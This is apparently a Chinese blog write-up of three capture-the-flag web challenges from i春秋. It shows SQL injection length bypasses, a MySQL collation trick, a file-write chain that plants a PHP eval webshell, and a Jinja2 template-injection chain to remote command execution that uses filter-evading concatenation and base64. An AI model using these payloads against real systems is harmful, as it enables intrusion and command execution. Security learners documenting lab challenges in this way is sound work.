i春秋9

web——look

检查完源码,扫描完后台没有收获后,抓包看返回,看到一个
img

可疑内容X-HT: verify,推测是sql注入的变量
在注入过程中,限制了长度,只能4个字符,百度以后发现可以使用
‘/1%23、’*1%23、’=0%23、’%1%23 这里说一下自己的理解,查询语句应该是是select * from xxx where xxx =,记得之前的-0-和-1-,当为-0-的时候是可以查询到结果的,而以上这些运算的结果都为0,所以可以成功绕过
img

得到下一条线索:

img

一开始我以为又是sql注入,发现不是 看了sql注入后发现是 在vim中操作的行为,vim会自动记录下来,保存在~/.viminfo文件中所以让我们打开看看

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
$con = mysql_connect('localhost','root','');
mysql_query("set names utf8");
mysql_select_db("ctf");
if($_SERVER["REMOTE_ADDR"]=='8.8.8.8'){
$name = addslashes($_GET['usern3me']);
}
else{
if(stripos($_GET['usern3me'],'Bctf2O16')!==false){
$name = 'FUCK';
}
else{
$name = addslashes($_GET['usern3me']);
}
}
echo 'hello '.$name;
$sql = "select * from admin where name='$name'";
$result = mysql_query($sql);
$num = mysql_num_rows($result);
if($num>0){
echo '<br>next ***.php';
}
?>

访问其中的一个备份文件
img
可以得到以上代码:
输入usern3me不能等于Bctf2o16,如果等于就会直接让name=fuck,查询的时候肯定是出错的,那么这里要让usern3me等于什么呢?肯定就是Bctf2o16吧,所以要如何绕过呢?

mysql字符集

mysql中有两种字符集编码:使用utf8_general_ci和utf8_unicode_ci两种 校对规则下面的比较相等:Ä = A、Ö = O、Ü = U,
参考:https://blog.csdn.net/lovemysea/article/details/79074759
所以这里想要绕过,直接传Bctf2Ö16即可:

1
/5211ec9dde53ee65bb02225117fba1e1.php?usern3me=Bctf2Ö16
img
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
if(isset($_GET['path']) && isset($_GET['filename'])){
$path = $_GET['path'];
$name = "upload/".$_GET['filename'];
}
else{
show_source(__FILE__);
exit();
}
if(strpos($name,'..') > -1){
echo 'WTF';
exit();
}

if(strpos($path,'http://127.0.0.1/') === 0){
file_put_contents($name,file_get_contents($path));
}
else{
echo 'path error';
}
?>

得到新的php代码:get一个path和filename不为空的话分别复制给path和name,然后name当中的’..’大于-1,就输出WTF导致退出,意思是末尾必须有两个..吗?然后接下来如果在path中截取的位置截取那个地址是在开头,那么就将path的内容写入name中。
我的思路是这样的让name为php文件,然后写入的path就直接是系统命令或者一句话木马,接下来看了一下wp发现思路是这样的,但是没那么容易现在本地模拟一下感受一下吧:
1.加上http://127.0.0.1/这个前缀后有什么区别?
没加上前缀前,访问的就是本地文件系统,相当于直接访问源码,在上述代码中,path中的内容会直接被写入name中,也就是path中的源码,加了前缀,写入name中的内容就是在url中执行以后的内容
2.为啥这里要利用那个传入usern3me的php文件?
file_get_contents() 函数把整个文件读入一个字符串中,所以这里需要的是一个文件,所以需要利用那个文件。
在这里构造一下payload再继续理清楚一下:

1
/c3368f5eb5f8367fd548b228bee69ef2.php?filename=a.php&path=http://127.0.0.1/5211ec9dde53ee65bb02225117fba1e1.php?usern3me=<?php eval($_POST[a]);?>

因为传入的是url读取以后的结果,也就是代码被执行以后的功能,此时a.php将会输出hello,以及一句话木马会被解析,这个地方需要理解一下。
PS:由于file_file_get_contents相当于访问一次url获取其中的内容所以需要对里面的空格进行二次urlencode,接下来被解码后才会是空格
用蚁剑连接a.php 即可拿到flag

flag{e034f45b-464a-42bb-a262-1635c08f30bf}

WEB——exec

一开始看了很久没啥突破,于是看了一下wp,原来突破口在这里
img
找到答案说,用vim编辑文本xxx.php中途退出,会自动创建一个文件.xxx.php.swp。然后我们下载这个文,这里应该就是.index.php.swp源码泄露,下载下来看看

img

使用 vim -r 加上那个文件就能还原源码,接下来看看这段源码吧
会get一个sign并使用check函数每一个数字的值都不能再1-9之间,看了一下wp,所以这里要上传一个十六进制的数字即可绕过如:0xabcdef
往下看,接下来需要post一个cmd,会使用exec执行:但是执行结果不会被输出,那该咋办?看了一下wp:
还记得之前的重定向符号吗,在这里我们就是要这么利用,在两天服务器中使用nc命令建立连接,使得被攻击者服务器的内容重定向输出至攻击者服务器:
现在我之前买的公网服务器上监听:用了所有的指令都没成功是什么鬼==

web——fuzz

imgimg
检查完后台 有一个robots.txt文件
img
查看源码:,有一串经过base64编码过的内容,将其解码看:

burpsuit抓包都没拿到有用信息?可能是我太菜了吧,于是去看wp:
他是让我们fuzz parameter就是传参的参数名,一开始我尝试了几个,因为没有字典可以爆破就放弃了,没想到还真是要这么猜,当传入?name的时候网页的回显发生了变化:

imgimg

看到那只大蟒蛇,又看到这个界面——python ssti注入
尝试payload:

1
?name={{10*10}}

页面返回excuse,好像有什么被过滤了,再尝试10-10,页面回显hello 0,确定过滤*号,接下来使用:

1
{{"".__class__.__mro__[1]}}

页面回显的不是object类,于是更换参数:

1
{{"".__class__.__mro__[2]}}

img

1
{{"".__class__.__mro__[2].__subclasses__()}}#显示所有子类
1
[<type 'type'>, <type 'weakref'>, <type 'weakcallableproxy'>, <type 'weakproxy'>, <type 'int'>, <type 'basestring'>, <type 'bytearray'>, <type 'list'>, <type 'NoneType'>, <type 'NotImplementedType'>, <type 'traceback'>, <type 'super'>, <type 'xrange'>, <type 'dict'>, <type 'set'>, <type 'slice'>, <type 'staticmethod'>, <type 'complex'>, <type 'float'>, <type 'buffer'>, <type 'long'>, <type 'frozenset'>, <type 'property'>, <type 'memoryview'>, <type 'tuple'>, <type 'enumerate'>, <type 'reversed'>, <type 'code'>, <type 'frame'>, <type 'builtin_function_or_method'>, <type 'instancemethod'>, <type 'function'>, <type 'classobj'>, <type 'dictproxy'>, <type 'generator'>, <type 'getset_descriptor'>, <type 'wrapper_descriptor'>, <type 'instance'>, <type 'ellipsis'>, <type 'member_descriptor'>, <type 'file'>, <type 'PyCapsule'>, <type 'cell'>, <type 'callable-iterator'>, <type 'iterator'>, <type 'sys.long_info'>, <type 'sys.float_info'>, <type 'EncodingMap'>, <type 'fieldnameiterator'>, <type 'formatteriterator'>, <type 'sys.version_info'>, <type 'sys.flags'>, <type 'exceptions.BaseException'>, <type 'module'>, <type 'imp.NullImporter'>, <type 'zipimport.zipimporter'>, <type 'posix.stat_result'>, <type 'posix.statvfs_result'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class '_abcoll.Hashable'>, <type 'classmethod'>, <class '_abcoll.Iterable'>, <class '_abcoll.Sized'>, <class '_abcoll.Container'>, <class '_abcoll.Callable'>, <class 'site._Printer'>, <class 'site._Helper'>, <type '_sre.SRE_Pattern'>, <type '_sre.SRE_Match'>, <type '_sre.SRE_Scanner'>, <class 'site.Quitter'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <type 'operator.itemgetter'>, <type 'operator.attrgetter'>, <type 'operator.methodcaller'>, <type 'functools.partial'>, <type 'itertools.combinations'>, <type 'itertools.combinations_with_replacement'>, <type 'itertools.cycle'>, <type 'itertools.dropwhile'>, <type 'itertools.takewhile'>, <type 'itertools.islice'>, <type 'itertools.starmap'>, <type 'itertools.imap'>, <type 'itertools.chain'>, <type 'itertools.compress'>, <type 'itertools.ifilter'>, <type 'itertools.ifilterfalse'>, <type 'itertools.count'>, <type 'itertools.izip'>, <type 'itertools.izip_longest'>, <type 'itertools.permutations'>, <type 'itertools.product'>, <type 'itertools.repeat'>, <type 'itertools.groupby'>, <type 'itertools.tee_dataobject'>, <type 'itertools.tee'>, <type 'itertools._grouper'>, <type 'cStringIO.StringO'>, <type 'cStringIO.StringI'>, <class 'string.Template'>, <class 'string.Formatter'>, <type 'collections.deque'>, <type 'deque_iterator'>, <type 'deque_reverse_iterator'>, <type '_thread._localdummy'>, <type 'thread._local'>, <type 'thread.lock'>, <type 'datetime.date'>, <type 'datetime.timedelta'>, <type 'datetime.time'>, <type 'datetime.tzinfo'>, <class 'werkzeug._internal._Missing'>, <class 'werkzeug._internal._DictAccessorProperty'>, <type 'time.struct_time'>, <class 'email.LazyImporter'>, <type 'Struct'>, <type '_hashlib.HASH'>, <type '_random.Random'>, <class 'socket._closedsocket'>, <type '_socket.socket'>, <type 'method_descriptor'>, <class 'socket._socketobject'>, <class 'socket._fileobject'>, <class 'urlparse.ResultMixin'>, <class 'calendar.Calendar'>, <type '_io._IOBase'>, <type '_io.IncrementalNewlineDecoder'>, <class 'werkzeug.datastructures.ImmutableListMixin'>, <class 'werkzeug.datastructures.ImmutableDictMixin'>, <class 'werkzeug.datastructures.UpdateDictMixin'>, <class 'werkzeug.datastructures._omd_bucket'>, <class 'werkzeug.datastructures.Headers'>, <class 'werkzeug.datastructures.ImmutableHeadersMixin'>, <class 'werkzeug.datastructures.HeaderSet'>, <class 'werkzeug.datastructures.ETags'>, <class 'werkzeug.datastructures.IfRange'>, <class 'werkzeug.datastructures.Range'>, <class 'werkzeug.datastructures.ContentRange'>, <class 'werkzeug.datastructures.FileStorage'>, <class 'werkzeug.urls.Href'>, <class 'werkzeug.wsgi.SharedDataMiddleware'>, <class 'werkzeug.wsgi.DispatcherMiddleware'>, <class 'werkzeug.wsgi.ClosingIterator'>, <class 'werkzeug.wsgi.FileWrapper'>, <class 'werkzeug.wsgi.LimitedStream'>, <class 'werkzeug.formparser.FormDataParser'>, <class 'werkzeug.formparser.MultiPartParser'>, <class 'werkzeug.utils.HTMLBuilder'>, <class 'werkzeug.wrappers.BaseRequest'>, <class 'werkzeug.wrappers.BaseResponse'>, <class 'werkzeug.wrappers.AcceptMixin'>, <class 'werkzeug.wrappers.ETagRequestMixin'>, <class 'werkzeug.wrappers.UserAgentMixin'>, <class 'werkzeug.wrappers.AuthorizationMixin'>, <class 'werkzeug.wrappers.StreamOnlyMixin'>, <class 'werkzeug.wrappers.ETagResponseMixin'>, <class 'werkzeug.wrappers.ResponseStream'>, <class 'werkzeug.wrappers.ResponseStreamMixin'>, <class 'werkzeug.wrappers.CommonRequestDescriptorsMixin'>, <class 'werkzeug.wrappers.CommonResponseDescriptorsMixin'>, <class 'werkzeug.wrappers.WWWAuthenticateMixin'>, <class 'werkzeug.exceptions.Aborter'>, <class 'threading._Verbose'>, <type 'cPickle.Unpickler'>, <type 'cPickle.Pickler'>, <class 'jinja2.utils.MissingType'>, <class 'jinja2.utils.LRUCache'>, <class 'jinja2.utils.Cycler'>, <class 'jinja2.utils.Joiner'>, <class 'markupsafe._MarkupEscapeHelper'>, <class 'jinja2.nodes.EvalContext'>, <class 'jinja2.runtime.TemplateReference'>, <class 'jinja2.nodes.Node'>, <class 'jinja2.runtime.Context'>, <class 'jinja2.runtime.BlockReference'>, <class 'jinja2.runtime.LoopContext'>, <class 'jinja2.runtime.LoopContextIterator'>, <class 'jinja2.runtime.Macro'>, <class 'jinja2.runtime.Undefined'>, <class 'numbers.Number'>, <class 'decimal.Decimal'>, <class 'decimal._ContextManager'>, <class 'decimal.Context'>, <class 'decimal._WorkRep'>, <class 'decimal._Log10Memoize'>, <type '_ast.AST'>, <class 'jinja2.lexer.Failure'>, <class 'jinja2.lexer.TokenStreamIterator'>, <class 'jinja2.lexer.TokenStream'>, <class 'jinja2.lexer.Lexer'>, <class 'jinja2.parser.Parser'>, <class 'jinja2.visitor.NodeVisitor'>, <class 'jinja2.compiler.Identifiers'>, <class 'jinja2.compiler.Frame'>, <class 'jinja2.environment.Environment'>, <class 'jinja2.environment.Template'>, <class 'jinja2.environment.TemplateModule'>, <class 'jinja2.environment.TemplateExpression'>, <class 'jinja2.environment.TemplateStream'>, <class 'jinja2.loaders.BaseLoader'>, <class 'jinja2.bccache.Bucket'>, <class 'jinja2.bccache.BytecodeCache'>, <class 'difflib.HtmlDiff'>, <class 'uuid.UUID'>, <type 'CArgObject'>, <type '_ctypes.CThunkObject'>, <type '_ctypes._CData'>, <type '_ctypes.CField'>, <type '_ctypes.DictRemover'>, <class 'ctypes.CDLL'>, <class 'ctypes.LibraryLoader'>, <class 'werkzeug.routing.RuleFactory'>, <class 'werkzeug.routing.RuleTemplate'>, <class 'werkzeug.routing.BaseConverter'>, <class 'werkzeug.routing.Map'>, <class 'werkzeug.routing.MapAdapter'>, <class 'flask.signals.Namespace'>, <class 'flask.signals._FakeSignal'>, <class 'werkzeug.local.Local'>, <class 'werkzeug.local.LocalStack'>, <class 'werkzeug.local.LocalManager'>, <class 'werkzeug.local.LocalProxy'>, <class 'flask.helpers.locked_cached_property'>, <class 'flask.helpers._PackageBoundObject'>, <type '_json.Scanner'>, <type '_json.Encoder'>, <class 'json.decoder.JSONDecoder'>, <class 'json.encoder.JSONEncoder'>, <class 'itsdangerous._CompactJSON'>, <class 'itsdangerous.SigningAlgorithm'>, <class 'itsdangerous.Signer'>, <class 'itsdangerous.Serializer'>, <class 'itsdangerous.URLSafeSerializerMixin'>, <class 'contextlib.GeneratorContextManager'>, <class 'contextlib.closing'>, <class 'click._compat._FixupStream'>, <class 'click._compat._AtomicFile'>, <class 'click.utils.LazyFile'>, <class 'click.utils.KeepOpenFile'>, <class 'click.types.ParamType'>, <class 'click.parser.Option'>, <class 'click.parser.Argument'>, <class 'click.parser.ParsingState'>, <class 'click.parser.OptionParser'>, <class 'click.formatting.HelpFormatter'>, <class 'click.core.Context'>, <class 'click.core.BaseCommand'>, <class 'click.core.Parameter'>, <class 'flask.cli.DispatchingApp'>, <class 'flask.cli.ScriptInfo'>, <class 'flask.config.ConfigAttribute'>, <class 'flask.ctx._AppCtxGlobals'>, <class 'flask.ctx.AppContext'>, <class 'flask.ctx.RequestContext'>, <class 'flask.sessions.SessionMixin'>, <class 'flask.sessions.TaggedJSONSerializer'>, <class 'flask.sessions.SessionInterface'>, <class 'flask.blueprints.BlueprintSetupState'>, <type 'select.epoll'>, <class 'werkzeug.serving.WSGIRequestHandler'>, <class 'werkzeug.serving._SSLContext'>, <class 'werkzeug.serving.BaseWSGIServer'>, <class 'logging.LogRecord'>, <class 'logging.Formatter'>, <class 'logging.BufferingFormatter'>, <class 'logging.Filter'>, <class 'logging.Filterer'>, <class 'logging.PlaceHolder'>, <class 'logging.Manager'>, <class 'logging.LoggerAdapter'>, <class 'jinja2.debug.TracebackFrameProxy'>, <class 'jinja2.ext.Extension'>, <class 'jinja2.ext._CommentFinder'>, <class 'jinja2.debug.ProcessedTraceback'>]

找了很久都没找到可以自动写编号以及查找结果的脚本,可能是我搜索姿势不对,于是自己写了一个臭烂代码:

1
2
3
4
5
6
7
8
9
10
11
12
import requests
s=requests.session()
url="http://4282889f587b4157a422f0850b772d399e6c949b99b34289.changame.ichunqiu.com/?name="
choice=[]
for i in range(0,301):
payload=f"{{{{''.__class__.__mro__[2].__subclasses__()[{i}]}}}}"
reponse=(s.get(url+payload).text)
print(i,reponse)
if "file" in reponse:
pass_reponse = [i, reponse]
choice.append(pass_reponse)
print(choice)

最后只看到一个40 <type> flie
img

于是构建payload:

1
{{"".__class__.__mro__[2].__subclasses__()[40]}}

file对象方法参考:https://www.runoob.com/python/file-methods.html

我们现在可以使用要么就是读要么就是写,除此之外没有其他办法,找了好久,还是看wp吧。。。。

1
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/owned.cfg', 'w').write('from subprocess import check_output\n\nRUNCMD = check_output\n') }} 

解析一下上面这个payload,使用的是write的命令,并且是w,意思是将后面的内容写入/tmp/owned.cfg这个当中,没有则创建新文件。写入的内容是:

1
2
3
from subprocess import check_output
RUNCMD=check_output
#执行外部命令并获取他的输出

接下来输入:

1
?name={{ config.from_pyfile('/tmp/owned.cfg') }}

Flask 被设计为需要配置来启动应用。放置配置的地方即为这个config,如果是要添加文件中的内容则为以上格式

1
{{ config['RUNCMD']('/usr/bin/id',shell=True) }}

此时就可以执行指令了 ‘ ‘内为放置指令的地方,shell=true的意思是让shell本身的管道对于受信任的输入仍然支持
此时该命令可改写为:

1
RUNCMD = os.system("/usr/bin/id")#相当于是间接调用了os模块执行系统命令

参考:https://docs.python.org/zh-cn/3/library/subprocess.html#replacing-bin-sh-shell-command-substitution
接下来就是寻找flag并执行即可:

1
?name={{ config['RUNCMD']('`echo ` l'+'s /var/www/html/',shell=True) }}

这里有两个点,第一个是由于ls被过滤,所以可以采用这中**’’+’’的拼接方式进行绕过,然后``两个反引号的作用是引用系统命令**
我看其他payload 也可以采取使用base64编码再解码的形式进行绕过:

1
{{ config['RUNCMD']('`echo bHMgLWFsIC92YXIvd3d3L2h0bWwK | base64 -d`',shell=True) }}
img 找到flag的位置,cat一下
1
{{ config['RUNCMD']('`echo`cat /var/www/html/fl'+'4g',shell=True) }}

这里再提供一种拿到flag的方法,其实在前面也已经提过了:
file类中有read方法:
所以这里其实也可以写成:

1
{{"".__class__.__mro__[2].__subclasses__()[40]('/var/www/html/fl'+'4g').read()}}
1
Hello flag{f0551e10-7ebe-45a0-be51-0d103fc0400b} 
Author

vague huang

Posted on

2021-02-25

Updated on

2021-03-05

Licensed under

Comments